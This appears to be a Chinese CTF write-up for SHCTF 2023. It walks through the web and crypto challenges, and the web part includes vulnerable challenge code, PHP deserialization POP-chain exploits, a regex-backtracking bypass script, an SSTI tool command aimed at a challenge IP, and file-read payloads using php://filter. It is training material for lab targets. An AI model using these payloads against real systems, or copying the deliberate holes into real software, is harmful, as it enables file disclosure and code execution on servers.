WEB
[WEEK1]babyRCE
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 <?php $rce = $_GET ['rce' ];if (isset ($rce )) { if (!preg_match ("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i" , $rce )) { system ($rce ); }else { echo "hhhhhhacker!!!" ."\n" ; } } else { highlight_file (__FILE__ ); }
此时注意到\$
都没有被过滤,所以此时针对其对关键字的过滤可以使用\
进行绕过
payload
[WEEK1]1zzphp
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );highlight_file ('./index.txt' );if (isset ($_POST ['c_ode' ]) && isset ($_GET ['num' ])){ $code = (String)$_POST ['c_ode' ]; $num =$_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )) { die ("no number!" ); } elseif (intval ($num )) { if (preg_match ('/.+?SHCTF/is' , $code )) { die ('no touch!' ); } if (stripos ($code ,'2023SHCTF' ) === FALSE ) { die ('what do you want' ); } echo $flag ; } }
此时其对我们输入的num
进行检查是否包含数字,此时可以使用数组进行绕过;而看到preg_match('/.+?SHCTF/is', $code)
我们就知道是回溯绕过
exp
1 2 3 4 5 import requestspayload = "1" *(1000000 ) + '2023SHCTF' response = requests.post("http://112.6.51.212:32812/?num[]=1" , data={"c_ode" :payload}) content = response.text print (content)
[WEEK1]ez_serialize
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class A { public $var_1 ; public function __invoke ( ) { include ($this ->var_1); } } class B { public $q ; public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->q)) { echo "hacker" ; } } } class C { public $var ; public $z ; public function __toString ( ) { return $this ->z->var ; } } class D { public $p ; public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['payload' ])){ unserialize ($_GET ['payload' ]); } ?>
反序列化的题目就是将一整条链子捋清楚,先确定链尾然后一直反推到链首;此时我们观察源码发现在A类的invoke魔术方法中存在include()函数,此时我们可以利用这个文件包含来读取flag,接下来就是如何触发invoke();我们知道当一个对象被当作函数的形式调用时会触发invoke(),所以此时我们可以定位到D类的get()魔术方法中的$function = $this->p;return $function();
;而此时get()的调用方式则是当访问一个不存在或者没有权限 访问的对象时触发此时我们可以定位到C类的中的toString()的return $this->z->var;
;而toString()的触发方式则是触发字符串,那么此时刚好和 wakeup()中的echo对应,那么此时我们就可以得到我们需要构造的反序列化链
反序列化链
1 B__wakeup() --> C__toString() --> D__get() --> A__invoke()
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );class A { public $var_1 = "php://filter/read=convert.base64-encode/resource=flag.php" ; } class B { public $q ; } class C { public $var ; public $z ; } class D { public $p ; } $a = new B;$a -> q = new C;$a -> q -> z = new D;$a -> q -> z -> p = new A;echo serialize ($a );
payload
1 O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
[WEEK1]登录就给flag
rockyou
username=admin&password=password
[WEEK1]飞机大战
JS
此时我们看到这种前端类型的题目此时可以直接到JS文件中查找关键字flag alert ctf ...
此时unicode解码后在base64解码即可获得flag
[WEEK1]生成你的邀请函吧~
post发送一个josn格式的请求包即可
[WEEK2]ez_ssti
此时题目已经给出了考点了,那么此时我们考虑可以使用自动化工具
fenjing自动化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 各个功能的介绍: webui: 网页UI 顾名思义,网页UI 默认端口11451 scan: 扫描整个网站 从网站中根据form元素提取出所有的表单并攻击 扫描成功后会提供一个模拟终端或执行给定的命令 示例:python -m fenjing scan --url 'http://xxx/' crack: 对某个特定的表单进行攻击 需要指定表单的url, action(GET或POST)以及所有字段(比如'name') 攻击成功后也会提供一个模拟终端或执行给定的命令 示例:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name crack-path: 对某个特定的路径进行攻击 攻击某个路径(如http://xxx.xxx/hello/<payload>)存在的漏洞 参数大致上和crack相同,但是只需要提供对应的路径 示例:python -m fenjing crack-path --url 'http://xxx/hello/' get-config: 对某个特定的表单进行攻击,但是只获取flask config 参数大致上和crack相同
使用命令python3 -m fenjing crack --url 'http://112.6.51.212:30241/' --method GET --inputs name
进行攻击
[WEEK2]EasyCMS
指纹识别
此时一眼即为Taocms
;谨慎一点使用指纹识别工具进行验证
Taocms 代码注入漏洞
那么此时我们就知道这题的考点在于Taocms的nday或1day漏洞利用了;根据这篇文章https://blog.csdn.net/huayimy/article/details/127611217
可以获得flag
[WEEK2]no_wake_up
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class flag { public $username ; public $code ; public function __wakeup ( ) { $this ->username = "guest" ; } public function __destruct ( ) { if ($this ->username = "admin" ){ include ($this ->code); } } } unserialize ($_GET ['try' ]);
wakeup的绕过
exp:
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );class flag { public $username = "admin" ; public $code = "php://filter/read=convert.base64-encode/resource=flag.php" ; public function __destruct ( ) { } } $a = new flag;echo serialize ($a );
此时针对wakeup的绕过我们只需要将前面的属性值加一即可O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
[WEEK2]serialize
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );class misca { public $gao ; public $fei ; public $a ; public function __get ($key ) { $this ->miaomiao (); $this ->gao=$this ->fei; die ($this ->a); } public function miaomiao ( ) { $this ->a='Mikey Mouse~' ; } } class musca { public $ding ; public $dong ; public function __wakeup ( ) { return $this ->ding->dong; } } class milaoshu { public $v ; public function __tostring ( ) { echo "misca~musca~milaoshu~~~" ; include ($this ->v); } } function check ($data ) { if (preg_match ('/^O:\d+/' ,$data )){ die ("you should think harder!" ); } else return $data ; } unserialize (check ($_GET ["wanna_fl.ag" ]));
此时针对反序列化的题目我们的第一步依旧是找链子,此时我们首先定位链尾;此时发现一个在milaoshu
这个类中发现了include
函数;此时我们可 以通过这个include()
函数的文件包含中使用伪协议进行读取flag。那么此时我们就将这个作为链尾,这个时候观察include()
函数的触发魔术魔法 是toString
,我们知道toString()
的触发方式是字符串的输出,那么此时我们就可以定位到misca
类中的get
魔术魔法中的die
函数,此时 这个函数会输出字符串,接下来继续找get
的触发条件,当访问一个不存在的属性或者无法访问的属性时会触发get
那么此时我们就可以继续定位到musca
类中的wakeup()
此时他的return $this->ding->dong;
会触发get
;所以这一整条链子如下
1 musca::__wakeup() -> misca::__get($key) -> milaoshu::__toString()
反序列化之地址引用
但是此时我们要触发toString
却存在一个难点就是die()
中的变量a会被提前赋值,此时便会使得我们无法触发toString
;但是接下来我们看到了 一个奇怪的赋值形式$this->gao=$this->fei;
接下来是我的理解: 此时的$this -> gao = $this -> fei
此时对fei的赋值会影响到ago的值,那么此时我们直接令$this -> a = &$this -> gao
,此时调用a的地址 那么此时的die($this -> a)就会变成die($this -> fei);此时令$this -> fei = new milaoshu就可以调用toString
浅拷贝
1 2 3 4 5 <?php $a = 'okfafu' ;$b = &$a ;$b = '0xfafu' ;echo $a ;
此时传递类似地址的方法传递过去,但其实两者是同步的或者是已经是一体的。 对$this->gao=$this->fei
;的处理和ISCTF2022的猫和老鼠的考点是一样的,通过地址引用让$a指向milaoshu()
,die可以起到echo的作用来触发__toString
底下的check函数的检查匹配序列化字符串是否是对象字符串开头,可以在序列化时用array($a)绕过非法传参,参数名传入要改为wanna[fl.ag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class misca { public $gao ; public $fei ; public $a ; function __construct ( ) { $this -> gao = &$this -> a; } } class musca { public $ding ; public $dong ; } class milaoshu { public $v ='php://filter/convert.base64-encode/resource=flag.php' ; } $a =new musca ();$a ->ding=new misca ();$a ->ding->fei=new milaoshu ();echo serialize (array ($a ));
[WEEK2]ez_rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import *import subprocessapp = Flask(__name__) def gett (obj,arg ): tmp = obj for i in arg: tmp = getattr (tmp,i) return tmp def sett (obj,arg,num ): tmp = obj for i in range (len (arg)-1 ): tmp = getattr (tmp,arg[i]) setattr (tmp,arg[i+1 ],num) def hint (giveme,num,bol ): c = gett(subprocess,giveme) tmp = list (c) tmp[num] = bol tmp = tuple (tmp) sett(subprocess,giveme,tmp) def cmd (arg ): subprocess.call(arg) @app.route('/' ,methods=['GET' ,'POST' ] ) def exec (): try : if request.args.get('exec' )=='ok' : shell = request.args.get('shell' ) cmd(shell) else : exp = list (request.get_json()['exp' ]) num = int (request.args.get('num' )) bol = bool (request.args.get('bol' )) hint(exp,num,bol) return 'ok' except : return 'error' if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
[WEEK2]MD5的事就拜托了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['SHCTF' ])){ extract (parse_url ($_POST ['SHCTF' ])); if ($$$scheme ==='SHCTF' ){ echo (md5 ($flag )); echo ("</br>" ); } if (isset ($_GET ['length' ])){ $num =$_GET ['length' ]; if ($num *100 !=intval ($num *100 )){ echo (strlen ($flag )); echo ("</br>" ); } } } if ($_POST ['SHCTF' ]!=md5 ($flag )){ if ($_POST ['SHCTF' ]===md5 ($flag .urldecode ($num ))){ echo ("flag is" .$flag ); } }
这个时候我们先进行代码审计,此时的extract(parse_url($_POST['SHCTF']));
使用了parse_url
进行解析post提交的url;并且将其结果作为 变量名;而此时的if($$$scheme==='SHCTF')
;$$$是PHP中的可变变量语法。它以一个或多个$符号紧跟着变量名,用于构造一个新的变量名。具体来 说,$$$scheme将使用$scheme的值来构造一个新变量名,然后访问这个变量。;if($num*100!=intval($num*100))
这个条件检查 $num 乘以 100 的结果是否与其整数值不相等。然后如果满足的话将会输出flag的长度;接下来判断以POST提交的SHCTF是否等于flag的md5值;如果等于的话会输 出flag
parse_url变量覆盖
此时我们先研究一下parse_url
这个函数;此时在本地实验一下
1 2 3 4 5 <?php highlight_file (__FILE__ );$url ='https://www.example.com:8080/path/file.php?var1=value1' ;$array =parse_url ($url );var_dump ($array );
这里结合变量覆盖可得
1 2 3 4 5 6 //这里我选用的是url的scheme,host,query这三个位置 $scheme=host $$scheme=$host=query $$$scheme=$query=SHCTF payload1: host://query?SHCTF //分别把值对应到url上
MAD5=8f56a8b852f6a1c71b94a9e96fa4b08a
intval特性
然后再看GET传参,直接传1.0001 length=42
hash拓展长度攻击
这个时候看到 if($_POST['SHCTF']===md5($flag.urldecode($num)))
我们就可以马上想到hash拓展长度攻击
[WEEK3]gogogo
下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie 来实现对cookie的安全传输。 查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag 总共有两个路由,一个“/“路由,一个”/readflag”路由 根路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "main/route" "github.com/gin-gonic/gin" ) func main () { r := gin.Default() r.GET("/" , route.Index) r.GET("/readflag" , route.Readflag) r.Run("0.0.0.0:8000" ) }
重要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "User" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, User. How to become admin?" ) }
可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, User. How to become admin?
想到需要伪造session;上面通过获取环境变量中的SESSION_KEY来获取生成secure cookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。
Crypto
[WEEK1]Crypto_Checkin
1 base85(b) -> base64 -> base32 -> base16
flag{Th1s_1s_B4s3_3nc0d3}
[WEEK1]凯撒大帝
flag{chutihaonan}
[WEEK1]进制
flag{ahfkjlhkah}
[WEEK1]残缺的md5
描述:苑晴在路边捡到了一张纸条,上面有一串字符串:KCLWG?K8M9O3?DE?84S9
问号是被污染的部分,纸条的背面写着被污染的地方为大写字母, 还给了这串字符串的md5码值:F0AF????B1F463????F7AE???B2AC4E6
请提交完整的md5码值并用flag{}包裹提交
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 import hashlibk = 'KCLWG?K8M9O3?DE?84S9' for i in range (26 ): temp1 = k.replace('?' , str (chr (65 + i)), 1 ) for j in range (26 ): temp2 = temp1.replace('?' , chr (65 + j), 1 ) for n in range (26 ): temp3 = temp2.replace('?' , chr (65 + n), 1 ) s = hashlib.md5(temp3.encode('utf8' )).hexdigest().upper() if s[:4 ] == 'F0AF' : print ('flag{' +s+'}' )
[WEEK1]okk
一眼okk编码直接使用https://www.splitbrain.org/services/ook
进行解密 flag{123456789}
[WEEK1]熊斐特
描述:熊斐特博士发现了一种新的密码。uozt{zgyzhs xrksvi}
Atbash解码:FLAG{ATBASH CIPHER}
[WEEK1]黑暗之歌
密文:
1 ⠴⡰⡭⡳⠴⡰⡭⡰⡷⡲⡢⡩⡭⡡⠯⡩⡭⡡⡺⡩⡭⡡⠳⡩⡭⡡⡺⡩⡭⡡⡶⡩⡭⡡⡶⡩⡭⡡⡲⡩⡭⡡⡺⡩⡭⡡⠯⡩⡧⡊⡢⡩⡭⡡⠯⡩⡭⡡⡺⡃⡰⠫⡋⡚⡲⡍⡋⡮⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡃⡴⡵⡋⡁⡬⡵⡋⡁⡬⡵⡋⡁⡬⡳⡋⠲⠴⡯⡃⡗⠴⡰⡭⡴⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡩⡭⡡⡺⡩⡭⡡⡺⡩⡭⡡⠳⡩⡧⡊⡢⡩⡭⡡⠯⡩⡧⡊⡢⡃⡴⡵⡋⡚⡱⠫⡋⡚⡱⠫⡋⡚⡲⠵⠲⡺⠰⠽
盲文解密 –> base64 –> 音符密码 flag{b2cc-9091-8a29}
[WEEK1]迷雾重重
莫斯密码 FLAG{MORSE_IS_VERY_FUN}
[WEEK1]难言的遗憾
描述:我们本可以早些进入信息化时代的,但是清政府拒不采纳那份编码规则。 (注:flag为中文,使用flag{}包裹提交) 中文电报码解码: flag{一天不学高数我就魂身难受}
[WEEK1]小兔子可爱捏
题目描述:宇宙的终极答案是什么?U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9
rabbit密码,key为42;flag{i_love_technology}
[WEEK1]what is m
1 2 3 4 5 6 7 from Crypto.Util.number import bytes_to_longfrom secret import flagm = bytes_to_long(flag) print ("m =" ,m)
此时该代码的作用是将flag变量中的字节数组转换为一个大整数,并将结果存储在m变量中;那么此时我们可以写一个脚本将大整数转换为字节数组
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def long_to_bytes (n ): num_bytes = (n.bit_length() + 7 ) // 8 byte_array = n.to_bytes(num_bytes, byteorder='big' ) return byte_array n = 7130439814059477382855563353906372398919900016616223069580645592349221130130388873192795189874110475344017518129521076889460992145696045687510866045009759706871831702092885897757211131196541 byte_array = long_to_bytes(n) print (byte_array)
[WEEK1]really_ez_rsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import getPrime, bytes_to_longe = 65537 m = b'' p = getPrime(128 ) q = getPrime(128 ) n = p * q m = bytes_to_long(m) c = pow (m, e, n) print ("p =" , p)print ("q =" , q)print ("c =" , c)print ("e =" , e)
此时的pqce都已经给出,那么此时我们只需要直接解密即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import gmpy2import libnumfrom Crypto.Util.number import *from binascii import a2b_hex, b2a_hexflag = "*****************" p = 217873395548207236847876059475581824463 q = 185617189161086060278518214521453878483 c = 6170206647205994850964798055359827998224330552323068751708721001188295410644 e = 65537 n = p * q phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) m = pow (c, d, n) print (libnum.n2s(int (m)))